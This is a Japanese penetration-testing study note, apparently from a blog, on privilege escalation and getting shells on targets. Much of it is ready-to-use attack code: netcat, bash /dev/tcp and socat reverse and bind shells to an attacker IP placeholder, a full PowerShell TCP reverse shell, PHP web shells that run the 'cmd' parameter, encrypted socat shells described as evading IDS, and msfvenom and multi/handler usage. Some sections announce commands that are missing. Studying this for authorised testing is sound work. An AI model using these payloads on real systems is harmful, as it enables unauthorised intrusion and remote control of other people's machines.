4. システムの侵入と権限昇格
4.1. 権限昇格
4.1.1. 権限昇格とは
権限昇格は権限の低いアカウントから権限の高いアカウントに移行することを指す。 ペネトレーションテストではOSやアプリケーションの脆弱性、設計上の欠陥、または設定の見落としを悪用してユーザーからのアクセスが制限されているリソースへの不正アクセスを取得することが目的となる。
権限昇格によりシステム管理者レベルのアクセス権が得られ、次のようなアクションを実行できるようになる。
- パスワードのリセット
- アクセス権のバイパスによりデータを侵害する
- 永続化の有効化
- 既存ユーザ権限の変更
- 任意の管理者コマンドの実行
4.2. シェル
4.2.1. シェルとは
シェルはコマンドライン環境(CLI)とやり取りするときに使用するもの。 Linux の一般的な bash または sh プログラムは、Windows の cmd.exe や Powershell と同様、シェルの例といえる。
リモートシステムをターゲットにした場合、サーバー (Webサーバなど) 上で実行されているアプリケーションに任意のコードを強制的に実行させることができる場合がある。これが発生する場合、この初期アクセスを使用して、ターゲット上で実行されているシェルを取得しようとペネトレーションテストの側面では考える。
4.2.2. シェルの分類
ログインシェルと非ログインシェル
ログインシェルはユーザがシステムにログインする際に起動するシェル。 以下のような特徴がある。
- ログイン認証後に開始する
- SSHログイン時/
su -
コマンドでrootへの切り替え/sudo -i
コマンド実行時に起動する - 環境変数ファイル(
.bash_profile
や.profile
)を読み込む、シェル設定を初期化する /etc/shells
ファイルに記載されたものがログインシェルになれる
非ログインシェルはユーザがログインしなくても起動できるシェル。 以下のようなものが非ログインシェルとなる。
- Terminalなどのシェル
- シェルスクリプト通常実行時/
bash -c
を実行したとき - ログインシェルと異なる環境設定(
.bashrc
)などを読み込む - サブシェルやスクリプト実行に適している
なおログインシェルの見分け方はshopt login_shell
コマンドの実行(確実な方法)、echo $0
コマンドで-
の有無(ありでログインシェル)により判定できる。
対話的シェルと非対話的シェル
シェル | 説明 |
---|---|
対話的シェル | ユーザがリアルタイム入力に対し、シェルが結果を表示する |
非対話型シェル | スクリプト実行、パイプライン処理、Cronジョブ、バックグラウンドプロセス処理で使用される |
対話型/非対話型シェルの識別方法は以下の方法がある。
- 特殊変数
$-
の確認(echo $-
) - シェル変数
PS1
の確認(echo PS1
)
4.2.3. シェルを利用するためのツール
リバースシェルの受信とバインドシェルの送信に使用するためのツールには以下のようなものがある。
Netcat
NetcatはTCPもしくはUDP接続などを利用して、コマンドラインからデータを送受信するためのツール。 シェルで言うと、リバースシェルを受信し、ターゲットシステム上のバインドシェルに接続されたリモートポートに接続するために使用できる。
Socat
Netcatの強化版ツール。Netcatより優れた機能を持つ。
Metasploitの multi/handler モジュール
Metasploitのmulti/handlerモジュールは socat や netcat と同様に、リバース シェルを受信するために使用できる。
Msfvenom
MsfvenomはMetasploitに含まれる機能でペイロードを生成するために使用できるツール。 msfvenom はリバース シェルやバインド シェルなどのペイロードも生成できる。
4.3. シェルの種類
大まかにターゲットの悪用に関してシェルを考えた場合リバースシェルとバインドシェルという2種類のシェルに分けられる。 これらは攻撃機とターゲットのどちらが通信を待ち受けしているかが異なる。
なおリバースシェルとバインドシェルともに非対話式のシェルになるため、対話型のようにコマンド結果を出力しない。
4.3.1. リバースシェル
リバースシェルはリモートホストに接続しに行く通常の通信とは異なる、リモートサーバ(ターゲット)からシェルを渡しに来る通信方法のこと。 通常はクライアント側から通信を要求しアクションをサーバに要求するが、リバースシェルではクライアント側にアクションをするように仕向けさせることでサーバへシェルの実行を要求することができる。
接続の際は、自らの接続元で任意のポートをlistenしリモートサーバがアクセスしに来る形を取るため、リモートサーバ側のファイアウォールで設定されているINPUT通信制御に関係なく接続可能。
ncコマンドを利用したリバースシェル
攻撃機からシェルを打てるようにnc
コマンドを用いてシェルを待ち受ける設定例である。
攻撃マシンでリッスンし、ターゲットから接続の待ち受けを送信しているのが特徴となる。
- 攻撃機で以下のように待ち受ける
sudo nc -lvnp 443
- ターゲットで以下のようにシェルを打つ
nc <IPアドレス> <ポート> -e /bin/bash
- 攻撃機でターゲットのユーザでシェルを打てるようになる
bashコマンドを利用したリバースシェル
攻撃機からシェルを打てるようにbash
コマンドを用いてシェルを待ち受ける設定例である。
- 攻撃機で以下のように待ち受ける
sudo nc -lvnp 4444
- ターゲットで以下のようにシェルを打つ(以下のどちらか)
bash -c "bash -i >& /dev/tcp/<IPアドレス>/4444 0>&1"
bash -c 'exec bash -i &> /dev/tcp/<IPアドレス>/4444 <&1'
- 攻撃機でターゲットのユーザでシェルを打てるようになる
PHPのリバースシェル
PHPにおけるリバースシェルの例は以下の通り。
# WEBリバースシェル(.php)
# クエリパラメータは?cmd=hogehoge
<?php echo system($_REQUEST ["cmd"]); ?>
<?php echo(system($_GET["cmd"])); ?>
4.3.2. バインドシェル
バインドシェルはターゲットのシステムで特定のポートをオープンして待機し攻撃者がそのポートに接続したときにシェルを提供する通信方法のこと。 簡単に言うと攻撃端末側からターゲット端末に接続し遠隔操作を行うもの。 シェルにアタッチされたlistenerをターゲット上で直接開始する特徴がある。
バインドシェルはターゲットの通信経路中のファイヤーウォールやルータにブロックされやすい。
ncコマンドを利用したバインドシェル
攻撃機からシェルを打てるようにnc
コマンドを用いてシェルを待ち受ける設定例である。
ターゲットで接続をリッスンし、攻撃マシンからターゲットに接続しているのが特徴となる。
なおターゲットがWindowsの場合の例である。
- ターゲットで以下のように待ち受ける
nc -lvnp <ポート> -e "cmd.exe"
- ターゲットで以下のようにシェルを打つ
nc <IPアドレス> <ポート>
- 攻撃機でターゲットのユーザでシェルを打てるようになる
4.3. NetCatを利用したシェル
4.3.1. NetCatによるリバースシェルとバインドシェル
リバースシェル
LinuxでNetcat Listenerを開始するコマンドは以下の通り。
- -l ... Listener宣言
- -v ... 詳細な出力
- -n ... netcat にホスト名を解決したり、DNSを使用したりしないようにする
- -p ... ポート指定が続くことを示す
ポート番号は使用しているサービスがかぶっていない番号で使用可能で、またターゲット上の送信ファイアウォールルールを通過する可能性が高いため、既知のポート番号 (80、443、または 53 が適切な選択) を使用するのが良い。
バインドシェル
ターゲット上でバインドシェルを取得しようとしている場合は、ターゲットの選択したポート上ですでにリスナーが待機していると想定される。 そのため以下コマンドで接続を行う。
4.3.2. Netcatにおけるシェルの安定化
Netcatによるシェルはデフォルトでは非常に不安定となる。 これはCtrl + C を押すとすべてが強制終了されるためである。
Linuxシステム上で netcat シェルを安定させる方法には以下のテクニックがある。
Pythonによる安定化
以下の手順により安定化できる。
nc -lvnp <ポート番号>
で接続するpythonN -c 'import pty;pty.spawn("/bin/bash")'
(Nはバージョン)によりbash生成を宣言するexport TERM=xterm
を入力しclear
などシェルと対話できるようにするCtrl + Z
を押してシェルをバックグラウンドにするstty raw -echo; fg
でターミナルに戻る
なお、シェルが終了すると自分のターミナルの入力が表示されなくなるためreset
と入力してEnter キー
を押すことで解決できる。
rlwrapによる安定化
rlwrapはシェルを受信するとすぐに履歴、タブのオートコンプリート、および矢印キーにアクセスできるようにするプログラムのこと。 rlwrap を使用するには、少し異なるリスナーを呼び出す。
Linuxターゲットを扱う場合Pythonによる安定化と同じ仕組みを使用して、完全に安定化することができます。
Ctrl + Z
を使用してシェルをバックグラウンドにし、stty raw -echo; fg
を入力して安定化してシェルに再度入るために使用できる。
具体的手順は以下の通り。
- 攻撃端末の待ち受け側で
rlwrap -c -pCyan nc -lvnp <ポート番号>
を実行 - ターゲット端末で
nc <IPアドレス> <ポート番号> -e /bin/bash
を実行 - 攻撃端末で
python -c 'import pty; pty.spawn("/bin/sh")'
によりTTYシェルを奪取する
4.5. SoCatを利用したシェル
4.5.1. SoCatによるリバースシェルとバインドシェル
リバースシェル
以下のコマンドはnetcatのnc -lvnp <ポート番号>
と同等のコマンドとなる。
# Windowsの場合
socat TCP:<ローカルIP>:<ポート番号> EXEC:powershell.exe,pipes
# Linuxの場合
socat TCP:<ローカルIP>:<ポート番号> EXEC:"bash -li"
バインドシェル
# Linuxの場合
socat TCP-L:<ポート番号> EXEC:"bash -li"
# Windowsの場合
socat TCP-L:<ポート番号> EXEC:powershell.exe,pipes
# 攻撃側のマシンで待機中のリスナーに接続
socat TCP:<ターゲットのIP>:<ポート番号> -
4.5.2. SoCatの暗号化シェル
socat の優れた点の 1 つは、暗号化されたシェル (バインドとリバースの両方) を作成できることにある。 これは暗号化されたシェルは復号キーを持っていない限り復号することができず、その結果として多くの場合IDSを通過できるためである。
リバースシェルにおける暗号化シェルの作成例
手順は以下の通り。
- 証明書を生成する
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
- 公開鍵と秘密鍵を1つのファイルにマージする
cat shell.key shell.crt > shell.pem
- リバースシェルリスナーを設定する
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
- 再度接続する場合は
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
で可能
バインドシェルにおける暗号化シェルの作成例
なお証明書はリスナーで使用する必要があるため、バインド シェル用に PEM ファイルをターゲット側にコピーする必要がある。
# ターゲット
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
# 攻撃機
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
4.5.3. 通常のシェルペイロード
リバースシェルのペイロードを含むサイトはコチラから。
Netcatによるシェルペイロード
バインドシェルリスナーの生成
WindowsServerの場合のPowershellリバースシェル
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('[IPアドレス]',[ポート番号]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
4.6. Metasploitを利用したシェル
4.6.1. Msfvenom
MsfvenomはMetsaploitの中でもリバースシェルとバインドシェルのコードを生成するために使用されるモジュール。 バッファオーバーフローエクスプロイトのようなものを開発するときの 16 進数のシェルコードを生成するような低レイヤレベルのエクスプロイト開発で広く使用される。
ペイロードは<OS>/<アーキテクチャ>/<ペイロード>
に従い命名する
msfvenomの基本コマンド
例としてWindows x64 リバースシェルを exe 形式で生成する場合のコマンドは以下の通り。
ステージペイロード/ステージレスペイロード
リバースシェルペイロードにはステージペイロードとステージレスペイロードの2つがある
- ステージペイロード
- ペイロードは 2 つの部分に分けて送信される(1つ目はステージャと呼ばれるサーバー自体で直接実行されるコード)
- ステージャ自体にはリバースシェルは含まれない
- ステージャはリスナーに接続し、その接続を使用し実際のペイロードをロード/直接実行して、従来のウイルス対策ソリューションでキャッチされる可能性のあるディスクにアクセスするのを防ぐ
- ステージレスペイロード
- 自己完結型の1つのペイロードでオーソドックスなもの
- 実行されると待機中のリスナーにすぐにシェルを送り返すコードが 1 つあるのみとなる
- サイズが大きいためウイルス対策プログラムや侵入検知プログラムが検出して削除されやすい
msfvenomペイロードの検索方法
4.6.2. Metaploit Multi/Handler
Multi/Handlerはリバースシェルをキャッチするためのツール。 このツールはMeterpreterシェルを使用する場合に必要であり、ステージングされたペイロードを使用する場合に役に立つ。
起動方法
msfconsole
use multi/hander
でEnter
使用方法
options
コマンドで使用できるオプションを確認できるset PAYLOAD <payload>
でペイロードの設定set LHOST <待ち受けアドレス>
でリスニングアドレスの設定set LPORT <listen-port>
でリスニングポートの設定
上記で設定したらexploit -j
により実行。
sessions <番号>
でフォアグラウンドで実行する。
4.7. Webシェル
Webシェルはリバースシェルやバインドシェルをアクティブにするコードをアップロードすることができないときに使用されるシェル。
4.7.1. Webシェルとは
WebシェルはWebサーバで実行されサーバ上でコードを実行するスクリプトを表す。
基本的に、コマンドはHTMLフォーム経由、またはURL 内の引数として直接Webページに入力/実行され、結果が返されてページに書き込まれることになる。
4.7.2. php-reverse-shell
Penntestmonkeyが開発したWebのリバースシェルのコード。
kaliの場合、/usr/share/webshells/php/php-reverse-shell.php
に保存されている。
利用方法
- 以下手順の実施
- 編集の以下の部分を変更する。
- netcatで待ち受ける。
- 何らかの方法でこのペイロードをサーバにアップロードして駆動する
4.7.2. 各サーバサイドにおけるリバースシェル
PHPの場合
下記コードは URL 内の GET パラメータを取得/使用してシステム上でコードを実行するものとなる。
上記の場合URLのクエリパラメータに?cmd=<コマンド>
を渡すことでページ結果が表示される。
4.8. エクスプロイトのアップロード
4.8.1. ローカルにWEBサーバを立ててアップロードする
Exploit DBのペイロードをターゲットにアップロードして実行する方法である。